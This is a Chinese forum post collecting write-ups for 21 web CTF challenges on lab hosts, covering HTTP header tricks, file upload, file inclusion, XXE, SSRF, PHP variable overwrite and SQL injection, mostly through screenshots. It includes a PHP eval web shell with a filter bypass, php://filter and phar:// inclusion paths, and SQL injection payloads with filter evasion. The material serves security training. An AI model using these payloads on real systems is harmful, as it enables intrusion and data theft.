首页
社区
课程
招聘
[原创]Web-CTF刷题-Writeup合集!
发表于: 2020-11-10 13:08 1473

[原创]Web-CTF刷题-Writeup合集!

2020-11-10 13:08
1473

目录
]

Web-CTF-WriteUp

一、前言

  • 我的博客:blog.CatGames.cn
  • 我的邮箱:root@r0insecurity.com

二、WriteUp

①、编码

1、神奇的磁带-WriteUp

  • 漏洞地址:10.1.1.147:5001
    图片描述
  • Burp抓包
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
  • 对应题目,神奇的磁带(tape)
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    flag是:Flag{ctf_victory_SecBug}

②、HTTP基础

2、 就差一把钥匙

  • 题目描述
    图片描述
    图片描述
  • 查看源码
    图片描述
  • 没什么东西 看看当前页面COOKIE
    图片描述
  • 打开burp抓包
    图片描述
  • 没什么东西,然后看了一下标题
    图片描述
  • 打开终端扫一下目录
    图片描述
    图片描述
  • 都指向console目录
    图片描述
  • 根据经验发现XFF没跑了 burp抓包改包
    图片描述
    图片描述
    拿到flag: flag{hetianlab-weekctf}

3、 迷了路

  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 查看源代码
    图片描述
  • 查找一番无果后根据标题猜测跟HTTP的Accept-language有关
    图片描述
    图片描述
  • 8个国家,分别为美国 英国 法国 德国 日本 韩国 西班牙 瑞典 百度搜了一下
    图片描述
  • 美国:en-US
    图片描述
  • 英国:en-gb
    图片描述
  • 法国:fr-fr
    图片描述
  • 德国:de-de
    图片描述
  • 日本:ja-jp/jp
    图片描述
  • 韩国:kr/kor 实测kr并不会返回信息
    图片描述
    图片描述
  • 西班牙:es-es
    图片描述
  • 瑞典:sv
    图片描述
    拼接flag为:flag{Thisis_hetianlab@}

③、基础代码审计

4、 Check your source code

  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 尝试一下admin admin 无果后查看源代码
    图片描述
    图片描述
  • 审计题 定义俩变量
    图片描述
  • 检查post user name 和password
    图片描述
  • 等于
    图片描述
  • 检查cookie是不是 check
    图片描述
  • url解密后的username变量全部等于(===你懂的)和url解密后的password不等于admin 意思是账号admin密码不等于admin即可
    图片描述
    图片描述
  • 然后setcookie等于ahash然后用base64加密secret变量然后urldecode admin admin,time()为时间7天
    图片描述
  • 流程就是抓包把cookie改成check然后加密后的secret和明文的admin与任意密码
  • 抓包看到一个base64加密的cookie
    图片描述
  • 解密后
    图片描述
  • 这个88应该就是secret这个变量 那么把它加密
    图片描述
  • 然后把包丢进repeater
    图片描述
  • 名字改为check等于加密后的88
  • 后面跟上admin与任意密码即可 注意:check那里的密码必须与下面提交的数据password一样 不然会提示重新检查cookie
    图片描述
    flag{welcome_to_htlab}

④、文件上传

5、 Easy Upload

  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 检查提交的源代码
    图片描述
  • 新建文件
    图片描述
  • 写入phpinfo
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
  • 点击发送
    图片描述
    图片描述
    Flag: flag{hetian@lab_com}

6、 套娃一样的文件上传

  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 看一下提交按钮的javascript
    图片描述
    图片描述
    图片描述
  • 丢到repeater
    图片描述
  • 就只剩下第三层了
    图片描述
  • LBWNB 17这个数字 猜测是提交的数据
    图片描述

    flag{0000_0000_0000}

7、 再见上传

  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 查看源码
    图片描述
  • 源代码没有东西 直接整抓包上传8
    图片描述
    图片描述
  • Uploads/后面加上UzJu.php%00 然后点击send发现还是不行
    图片描述
  • 后来想了一下好像要改hex
    图片描述
    图片描述
    flag{asdf_hetianlab_com}

8、 随意的上传

  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 写一个phpinfo上传
    图片描述
  • 过滤了<?php php使用Payload
    1
    <script language="pHp">@eval($_POST['UzJu'])</script>
  • 上传后使用菜刀连接
    图片描述
    图片描述
    Flag:flag{0123_4567_8901}

⑤、文件包含

9、试试phpinfo()吧

  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • ../phpinfo.php
    图片描述
    图片描述
  • 拉到最底下查看flag
    Flag: flag{abcd_hetianlab_1234_qwer}

10、试试协议吧

  • 题目描述
    图片描述
  • 访问网站
    图片描述
    图片描述
    图片描述
    图片描述
  • 彳亍 解密后
    图片描述
    Flag: flag{abdc_1234_qwer_hetian}
  • Payload: php://filter/convert.base64encode/resource=flag.php

11、签到般的包含

  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 新建文件
    图片描述
  • 打包成zip 然后将zip文件后缀名改为jpg
    图片描述
  • 上传文件
    图片描述
    图片描述
  • 在c盘下有菜刀工具 连接地址:http://10.1.1.147:5011/include.php?
    file=phar://upload/test.jpg/1
    图片描述
    flag{whoami_hetianlab_student}

⑥、XXE

12、simple xxe

  • 题目描述
    图片描述
  • 访问网站 查看源码
    图片描述
  • 按照题目提示找到注释说明flag在opt目录下
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    Flag(hetianlab_ctf)

13、blind xxe

  • 题目描述
    图片描述
    图片描述
    图片描述
  • 启动apache 进入html目录 创建dtd文件
    图片描述
  • 修改POST数据
    图片描述
  • 抓包后监听即可
    图片描述
    flag{hetian_1234_awdr}

⑦、SSRF

14、回显的SSRF

  • 题目描述
    图片描述
  • 访问网站 直接使用file协议
    图片描述
  • 查看flag
    图片描述
    flag{enter_your_passwd}

15、有点另类的SSRF

  • 题目描述
    图片描述
  • 抓包
    图片描述
  • 需要POST参数admin
    图片描述
  • 加上XFF
    图片描述
  • 试试xcip
    图片描述
    图片描述
    flag{0123_hetianlab_hunan}

⑧、代码审计

16、给你丢了串代码

  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 源代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
    include "flag.php";
    $_403 = "Access Denied";
    $_200 = "Welcome Admin";
    if ($_SERVER["REQUEST_METHOD"] != "POST"){
        //需要POST方法
        die("hetianlab flag is here :biubiubiu");
    }if (!isset($_POST["flag"])){
        //需要POST参数=flag
        die($_403);
    }foreach ($_GET as $key => $value){
        //遍历GET方法所传值
            $$key = $$value;
        }foreach ($_POST as $key => $value){
        //遍历POST方法所传值
        $$key = $value;
    }if ($_POST["flag"] !== $flag){
        die($_403);
    }
    echo "This is your flag : ". $flag . "\n";
    die($_200);
    ?>
    图片描述
  • 变量覆盖题
    flag{hunan_hetian}

17、学会变量覆盖

  • 题目描述
    图片描述
  • 查看源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title>学会变量覆盖</title>
    </head>
    <body>
    <!--
    $flag='xxxx':
    extract($_GET):
    if (isset($gift))
    Scontent =@trim(file_get_contents($flag)):
    if (Sgift = $content)
    echo"flag
    else
    echo ' oh . . ' ;
    -->
    </body>
    </html>

    图片描述

  • 判断gift变量是否存在,否则执行判断
    File_get_contents读取flag传给content
    判断gift 是否等于content,如果等于content就输出flag
    图片描述
  • 构造gift=&flag= 两个值都为空,判断相等
    flag{hetianlab}

18、Easy php

  • 题目描述
    图片描述

  • 源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
 
highlight_file('source.txt');
echo "<br><br>";
 
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}
 
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}
 
foreach ($_POST as $key => $value) {
    $$key = $value;
}
 
foreach ($_GET as $key => $value) {
    $$key = $$value;
}
 
echo 'the flag is : ' . $flag;
 
?>

图片描述

 

图片描述
flag{asdhetianlab}

19、最后一道变量覆盖

  • 题目描述
    图片描述
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
header("Content-Type: text/html;charset=utf-8");
       error_reporting(0);
 
       if (empty($_GET['id']))
      {
            show_source(__FILE__);
            die();
      }
      else
     {
            include ('flag.php');
            $a = "www.hetianlab.com ";
            $id = $_GET['id'];
            @parse_str($id);
            if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
           {
                 echo $flag;
           }
           else
           {
                 exit('其实很简单其实并不难!');
           }
 
       }
 
?>
  • Parse_str导致的变量覆盖
  • Payload: http://10.1.1.147:5020/?id=a[0]=s878926199a
  • Php参考:
    https://www.cnblogs.com/xhds/p/12587249.html#_label2
    https://www.cnblogs.com/xhds/p/12349189.html

⑨、SQL注入

20、你的空格哪去了

  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 简单的查询代码 输入1
    图片描述
  • 输入2
    图片描述
    图片描述
    图片描述
  • 提示hacker! 可能过滤的’ 或者 and等
    图片描述
    图片描述
  • 没有提示hacker 说明没有过滤单引号 根据标题发现可能过滤了空格
    图片描述
    图片描述
  • 尝试and后也没有过滤and
  • 首先1’order//by//5#
    图片描述
  • 发现没有信息 再尝试1’order//by//3#
    图片描述
  • 然后使用-1’union//select//1,2,3#
    图片描述
    图片描述
  • 然后看到我才会告诉你可以用select flag from flag看到Flag尝试
  • payload:-1'union//select//1,2,flag//from//flag#
    图片描述
    Flag: flag{63564494cac7097c}

21、想想怎么绕过过滤吧

  • 题目描述
    图片描述
    图片描述
  • 打开发现跟21周的没什么区别 只是新增了select过滤
    图片描述
  • 直接大小写绕过即可
    图片描述
    图片描述
  • Payload:-1'union//SeLeCt//1,2,flag//from//flag#
    Flag:flag{ff98f887ddaaad88}

[课程]Android-CTF解题方法汇总!

收藏
免费 6
支持
分享
最新回复 (2)
雪    币: 271
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
图片有点模糊耶
2023-6-4 23:19
0
雪    币: 452
活跃值: (6128)
能力值: ( LV12,RANK:580 )
在线值:
发帖
回帖
粉丝
3
hudte 图片有点模糊耶
文章太老了
2023-6-29 09:57
0
游客
登录 | 注册 方可回帖
返回
//